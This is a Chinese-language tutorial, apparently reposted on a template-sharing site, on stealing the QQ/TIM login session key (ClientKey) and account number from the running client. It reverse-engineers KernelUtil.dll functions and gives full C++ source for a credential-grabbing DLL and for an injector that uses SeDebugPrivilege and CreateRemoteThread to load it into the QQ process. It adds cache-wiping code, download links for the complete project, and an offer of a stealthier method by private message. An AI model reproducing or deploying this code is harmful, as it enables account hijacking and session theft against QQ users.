通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey / QQKey 详细教程(附源码)

这篇具有很好参考价值的文章主要介绍了通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey / QQKey 详细教程(附源码)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

由于 QQ 9.7.20 版本后已经不能通过模拟网页快捷登录来截取 QQClientkey / QQKey,估计是针对访问的程序做了限制,然而经过多方面测试,诸多的地区、环境、机器也针对这种获取方法做了相应的措施,导致模拟网页快捷登录来截取数据被彻底的和谐,为了解决这个问题我们只能更改思路对 KernelUtil.dll 下手。

Step 1 (第一步)

KernelUtil.dll QQ 9.7.21 (29280) 即官网最新版本

通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey  / QQKey 详细教程(附源码)

此文件位于 *:\Program Files (x86)\Tencent\QQ\Bin\ 下

通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey  / QQKey 详细教程(附源码)

并于客户端成功登录后加载。

Step 2 (第二步)

IDA 附加

通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey  / QQKey 详细教程(附源码)

定位到 KernelUtil.dll 中的函数

“?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z”

CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2)
{
  int v2; // eax
  int v4; // [esp-14h] [ebp-14h]
  int v5; // [esp-10h] [ebp-10h]
  int v6; // [esp-Ch] [ebp-Ch]
  int v7; // [esp-8h] [ebp-8h]
  
  CTXStringW::CTXStringW(a1);
  v5 = 0;
  sub_55404A73(&v5);
  if ( v5 )
  {
    v6 = 0;
    if ( (*(int (__stdcall **)(int, int, int *))(*(_DWORD *)v5 + 60))(v5, a2, &v6) >= 0 )
    {
      v7 = 0;
      sub_5536126A(&v7, v6);
      v2 = Util::Encode::Encode16(&v4, &v7);
      CTXStringW::operator=(a1, v2);
      CTXStringW::~CTXStringW((CTXStringW *)&v4);
      if ( v7 )
        (*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7);
    }
    sub_5540C87C(&v6);
  }
  sub_5540C87C(&v5);
  return a1;
}

参数 1 为 缓存区 返回结果指针。
参数 2 为 传入参数的指针。

.text:55416CFC ; class CTXStringW __cdecl Util::Misc::Get32ByteValueAddedSign(void)
.text:55416CFC                 public ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ
.text:55416CFC ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ proc near
.text:55416CFC                                         ; CODE XREF: Util::URL::AdjustUrl(CTXStringW const &,Util::URL::URLMODIFYLEVEL,CTXStringW const &,wchar_t const *)+A8↓p
.text:55416CFC                                         ; Util::URL::GetKeyFmt(CFmtString &)+21↓p ...
.text:55416CFC                 push    ebp
.text:55416CFD                 mov     ebp, esp
.text:55416CFF                 push    offset aBuf32bytevalue ; "buf32ByteValueAddedSignature"
.text:55416D04                 push    dword ptr [ebp+8]
.text:55416D07                 call    ?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z ; Util::Misc::GetSignature(char const *)
.text:55416D0C                 mov     eax, [ebp+8]
.text:55416D0F                 pop     ecx
.text:55416D10                 pop     ecx
.text:55416D11                 pop     ebp
.text:55416D12                 retn
.text:55416D12 ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ endp
CTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1)
{
  Util::Misc::GetSignature(a1, (int)"buf32ByteValueAddedSignature");
  return a1;
}

Get32ByteValueAddedSign 获取当前登录客户端 Clientkey。

int __fastcall Util::Contact::GetSelfUin(int a1)
{
  int result; // eax
  int v2; // esi
  int v3; // [esp-8h] [ebp-8h]
  
  v3 = a1;
  result = dword_554F12AC;
  if ( !dword_554F12AC )
  {
    v3 &= dword_554F12AC;
    sub_55404A73(&v3);
    if ( v3 )
      (*(void (__stdcall **)(int, int *))(*(_DWORD *)v3 + 48))(v3, &dword_554F12AC);
    v2 = dword_554F12AC;
    sub_5540C87C(&v3);
    result = v2;
  }
  return result;
}

GetSelfUin 获取当前登录客户端 Uin。

.text:55405EA9                 public ?GetSelfUin@Contact@Util@@YAKXZ
.text:55405EA9 ?GetSelfUin@Contact@Util@@YAKXZ proc near
.text:55405EA9                                         ; CODE XREF: .text:5535A2FE↑p
.text:55405EA9                                         ; .text:5535A921↑p ...
.text:55405EA9                 push    ebp
.text:55405EAA                 mov     ebp, esp
.text:55405EAC                 push    ecx
.text:55405EAD                 mov     eax, dword_554F12AC
.text:55405EB2                 test    eax, eax
.text:55405EB4                 jnz     short loc_55405EE7
.text:55405EB6                 and     [ebp-4], eax
.text:55405EB9                 lea     eax, [ebp-4]
.text:55405EBC                 push    eax
.text:55405EBD                 call    sub_55404A73
.text:55405EC2                 mov     eax, [ebp-4]
.text:55405EC5                 pop     ecx
.text:55405EC6                 test    eax, eax
.text:55405EC8                 jz      short loc_55405ED5
.text:55405ECA                 mov     ecx, [eax]
.text:55405ECC                 push    offset dword_554F12AC
.text:55405ED1                 push    eax
.text:55405ED2                 call    dword ptr [ecx+30h]
.text:55405ED5
.text:55405ED5 loc_55405ED5:                           ; CODE XREF: Util::Contact::GetSelfUin(void)+1F↑j
.text:55405ED5                 push    esi
.text:55405ED6                 mov     esi, dword_554F12AC
.text:55405EDC                 lea     ecx, [ebp-4]
.text:55405EDF                 call    sub_5540C87C
.text:55405EE4                 mov     eax, esi
.text:55405EE6                 pop     esi
.text:55405EE7
.text:55405EE7 loc_55405EE7:                           ; CODE XREF: Util::Contact::GetSelfUin(void)+B↑j
.text:55405EE7                 mov     esp, ebp
.text:55405EE9                 pop     ebp
.text:55405EEA                 retn
.text:55405EEA ?GetSelfUin@Contact@Util@@YAKXZ endp

Step 3 (第三步)

我们了解过程后便可以通过加载 GetModuleHandle("KernelUtil.dll") 调用相应函数自动截取。

	ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
	if (fnGetSelfUin == NULL)
	{
		OutputDebugStringA("Get GetSelfUin Function failed \n");
		return FALSE;
	}
 
    // 获取 UIN
	ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
	if (currentQQ == NULL)
	{
		OutputDebugStringA("Invoke GetSelfUin Function failed \n");
		return FALSE;
	}
 
	PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
	if (GetSignature == NULL)
	{
		OutputDebugStringA("Get GetSignature Function failed \n");
		return FALSE;
	}
	
    // 获取 Clientkey
	PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
	if (res == NULL)
	{
		OutputDebugStringA("Invoke GetSignature Function failed \n");
		return FALSE;
	}

通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey  / QQKey 详细教程(附源码)

实现代码

DLL

点击查看代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
 
 
 
using namespace std;
 
char szUin[MAX_PATH] = { 0 };
char szClientkey[MAX_PATH] = { 0 };
 
 
 
BOOL DelTempFiles();
 
BOOL GetQQClientKeys();
 
static DWORD WINAPI MainProcess(LPVOID pParam);
 
 
// 清理缓存
 
BOOL DelTempFiles()
{
	// 清理 DNS 缓存
	ShellExecute(NULL, "open", "ipconfig.exe", "/flushdns", NULL, SW_HIDE);
 
	BOOL bResult = FALSE;
	BOOL bDone = FALSE;
 
	LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry = NULL;
 
	DWORD  dwTrySize, dwEntrySize = 4096; // start buffer size
	HANDLE hCacheDir = NULL;
	DWORD  dwError = ERROR_INSUFFICIENT_BUFFER;
 
	do
	{
		switch (dwError)
		{
			// need a bigger buffer
		case ERROR_INSUFFICIENT_BUFFER:
			delete[] lpCacheEntry;
			lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char[dwEntrySize];
			lpCacheEntry->dwStructSize = dwEntrySize;
			dwTrySize = dwEntrySize;
			BOOL bSuccess;
			if (hCacheDir == NULL)
				bSuccess = (hCacheDir
					= FindFirstUrlCacheEntry(NULL, lpCacheEntry,
						&dwTrySize)) != NULL;
			else
				bSuccess = FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize);
 
			if (bSuccess)
				dwError = ERROR_SUCCESS;
			else
			{
				dwError = GetLastError();
				dwEntrySize = dwTrySize; // use new size returned
			}
			break;
 
			// we are done
		case ERROR_NO_MORE_ITEMS:
			bDone = TRUE;
			bResult = TRUE;
			break;
 
			// we have got an entry
		case ERROR_SUCCESS:
			// don't delete cookie entry
			if (!(lpCacheEntry->CacheEntryType & COOKIE_CACHE_ENTRY))
				DeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName);
 
			// get ready for next entry
			dwTrySize = dwEntrySize;
			if (FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize))
				dwError = ERROR_SUCCESS;
			else
			{
				dwError = GetLastError();
				dwEntrySize = dwTrySize; // use new size returned
			}
			break;
 
			// unknown error
		default:
			bDone = TRUE;
			break;
		}
 
		if (bDone)
		{
			delete[]lpCacheEntry;
			if (hCacheDir)
				FindCloseUrlCache(hCacheDir);
		}
	} while (!bDone);
 
	return TRUE;
}
 
 
 
BOOL GetQQClientKeys()
{
	// 清理缓存与DNS
	DelTempFiles();
 
	ZeroMemory(szUin, MAX_PATH);
	ZeroMemory(szClientkey, MAX_PATH);
 
	HMODULE hKernelUtil = GetModuleHandle("KernelUtil.dll");
	if (hKernelUtil == NULL)
	{
		OutputDebugStringA("Get KernelUtil Module failed \n");
		return FALSE;
	}
 
	ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
	if (fnGetSelfUin == NULL)
	{
		OutputDebugStringA("Get GetSelfUin Function failed \n");
		return FALSE;
	}
 
	ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
	if (currentQQ == NULL)
	{
		OutputDebugStringA("Invoke GetSelfUin Function failed \n");
		return FALSE;
	}
 
	sprintf(szUin, "%u", currentQQ);
 
	PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
	if (GetSignature == NULL)
	{
		OutputDebugStringA("Get GetSignature Function failed \n");
		return FALSE;
	}
	
	PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
	if (res == NULL)
	{
		OutputDebugStringA("Invoke GetSignature Function failed \n");
		return FALSE;
	}
 
	sprintf(szClientkey, "%ws", ClientKey);
 
	return TRUE;
}
 
 
 
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		HANDLE hThread1;
		hThread1 = CreateThread(NULL, 0, MainProcess, NULL, 0, NULL);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
 
 
// 主线程模块
 
static DWORD WINAPI MainProcess(LPVOID pParam)
{
	if (GetQQClientKeys())
	{
		MessageBox(NULL, "获取数据成功。", "注意", NULL);
    }
	return 0;
}

主程序

点击查看代码
// Main.cpp : 定义控制台应用程序的入口点。
//
 
#include "stdafx.h"
 
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
 
 
 
BOOL AdjustPrivileges();
 
BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID);
 
 
 
 
// 唯一的应用程序对象
 
CWinApp theApp;
 
using namespace std;
 
 
 
BOOL AdjustPrivileges()
{
	HANDLE hToken = NULL;
	TOKEN_PRIVILEGES tp = { 0 };
	TOKEN_PRIVILEGES oldtp = { 0 };
	DWORD dwSize = sizeof(TOKEN_PRIVILEGES);
	LUID luid = { 0 };
 
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
		return FALSE;
	}
 
	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
		CloseHandle(hToken);
		return FALSE;
	}
 
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
	/* Adjust Token Privileges */
	if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) {
		CloseHandle(hToken);
		return FALSE;
	}
 
	// close handles
	CloseHandle(hToken);
	return TRUE;
}
 
 
 
BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID)
{
	if (AdjustPrivileges())
	{
		HANDLE hOprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
		if (hOprocess != NULL)
		{
			_TCHAR* pLibFileRemote = (_TCHAR*)VirtualAllocEx(hOprocess, NULL, 2 * strlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE);
			if (pLibFileRemote != NULL)
			{
				if (!WriteProcessMemory(hOprocess, (void*)pLibFileRemote, DLLName, 2 * strlen(DLLName) + 1, NULL))
					return FALSE;
 
				//Get LoadLibraryW Address
				PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
				if (pfnStartAddr != NULL)
				{
					HANDLE hRemote = CreateRemoteThread(hOprocess, NULL, 0, pfnStartAddr, (PVOID)pLibFileRemote, 0, NULL);
					if (hRemote != NULL)
					{
						CloseHandle(hRemote);
						CloseHandle(hOprocess);
 
						return TRUE;
					}
				}
			}
		}
		CloseHandle(hOprocess);
	}
	return FALSE;
}
 
 
 
int main()
{
	if (!injectDLL(“D:\\QQKey.dll”, 8888))
	{
		cout << "injectDLL To Target EXE Failed。\r\n" << endl;
	}
					
	system("pause");
 
    return 0;
}

效果演示

通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey  / QQKey 详细教程(附源码)

结语

利用此种方法可以很方便的截取到 Uin 跟 Clientkey。

但是缺点也是相形见绌的,如下图:

通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey  / QQKey 详细教程(附源码)

:(

要出现这个画面提示就不是很友好了,并且大部分安全软件都会提示并拦截,其中包括 windows 10 / windows 11 下的 Microsoft Defender 也是如此,那么该方法就显得一无是处。

还有另一种方法是通过读取 QQ 客户端数据来截取其中的 Uin 与 Clientkey,并且不会出现任何提示、报警或拦截的情况。但在这里就不详细说明,怕又被和谐,有兴趣的可以私信我。

完整项目下载

【蓝奏云下载】 (提取码:eh9v)

【百度云下载】 (提取码:wqau)

官方网站

【www.CHWM.vip】文章来源地址https://www.toymoban.com/news/detail-785554.html

到了这里,关于通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey / QQKey 详细教程(附源码)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 通过 EPOLL 解决客户端同时连接多服务器的问题

    项目需求是  程序上 同时配置了多个服务端 设备 每隔一段时间需要 比如1分钟 连一下服务器看下是否连通   并将结果上报给平台  原来是用线程池来做的   具体大概就是 定时器到了之后  遍历设备列表  找到设备之后  通过 socket连接 发送一个指令 等待服务器返回 用来

    2024年02月13日
    浏览(39)
  • WebSocket 实现长连接及通过WebSocket获取客户端IP

    WebSocket 是一种支持双向通讯的网络通信协议。 实现过程: 1 添加ServerEndpointExporter配置bean 2 实现过程 需求是通过WebSocket,建立长连接,并获取当前在线的人数。通过Websocket 不断发送消息,建立长连接,给Session续命。我是通过MAC地址,区分不同的设备,因为我的需求中需要一

    2024年02月09日
    浏览(49)
  • 【专利提交】个人通过CPC客户端网上提交专利文稿的完整流程

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 提示:这里可以添加本文要记录的大概内容: 如果是高校学生,专利申请人是学校,又不想通过专利代理提交,则联系学校这边掌管专利电子申请网账号的老师即可,通常学校已经有账号,无需自己进

    2024年02月04日
    浏览(49)
  • Unity进阶–通过PhotonServer实现联网登录注册功能(客户端)–PhotonServer(三)

    单例泛型类 ManagerBase 消息中心 manager下的组件基础 uiManager(绑在canvas上) PhotonManager 搭个页面 panel上挂上脚本 绑定对象,绑定事件

    2024年02月12日
    浏览(93)
  • python网络编程:通过socket实现TCP客户端和服务端

    目录 写在开头 socket服务端(基础) socket客户端(基础) 服务端实现(可连接多个客户端)  客户端实现 数据收发效果   近期可能会用python实现一些网络安全工具,涉及到许多关于网络的知识,逃不过的就是最基本的socket。本文将介绍如何通过python自带的socket库实现TCP客户

    2024年03月21日
    浏览(56)
  • Http远程调用(feign客户端通过POST传递FORM格式数据)

    目录       feign实现http远程调用(正文)       解决方案: 在正式讲解HTTP远程调用时,我们先来了解一下缺省方法的定义。 写在前面: 缺省参数可传可不传,可以传多个但他们必须是相同的类型 每个方法中缺省参数只能定义一个,并且只能在参数的最后定义; 缺省参

    2023年04月08日
    浏览(43)
  • 手机、电脑mqtt客户端通过腾讯云服务器远程连接ESP32

            本文将实现:         1、esp32与腾讯云物联网服务器通过mqtt协议通信         2、电脑和手机客户端通过mqtt与腾讯云相通信         3、腾讯云服务器内部消息转发,将手机、电脑发布的主题转发给esp32订阅,实现手机、电脑与esp32的远程通信。      

    2024年02月11日
    浏览(62)
  • Java编程技巧:获取ip地址、通过ip获取地理位置、获取客户端操作系统、获取客户端浏览器、获取主机名、获取操作系统、获取系统架构

    说明: 大家直接去对应项目位置找到代码,然后看着复制就行了 1.1、若依(自己写的代码) 项目:https://gitee.com/y_project/RuoYi 子模块:ruoyi-common 所在类:com.ruoyi.common.utils.IpUtils 所在方法:getIpAddr 详细位置:整个方法 1.2、Snowy(借助hutool工具包) 项目:https://gitee.com/xiaonuo

    2024年02月04日
    浏览(128)
  • 【Python】通过第三方库wxauto自动化操作微信电脑客户端

    wxauto是一个Python第三方库,用于 自动化操作微信电脑客户端 通过wxauto,我们可以使用Python编写脚本,实现以下功能 获取微信好友列表、群组列表、聊天记录等信息。 在微信中发送文本、图片、语音等信息给好友或群组。 自动回复好友或群组的消息。 自动加入或退出群组。

    2024年02月12日
    浏览(37)
  • frp内网穿透保姆级配置流程,让客户端电脑可以通过域名或者IP访问本地程序接口

    下载地址:https://github.com/fatedier/frp/releases 1、server_addr中的IP是个人云服器的IP 2、custom_domains是可以使用域名访问 3、adtech.test.link.???.com的域名解析ip是124.221.248.68,这样配置后相当于,adtech.test.link.???.com访问443端口或者8081端口时,就会被转发到客户端 4、frpc.ini是客户端配置文

    2024年02月07日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包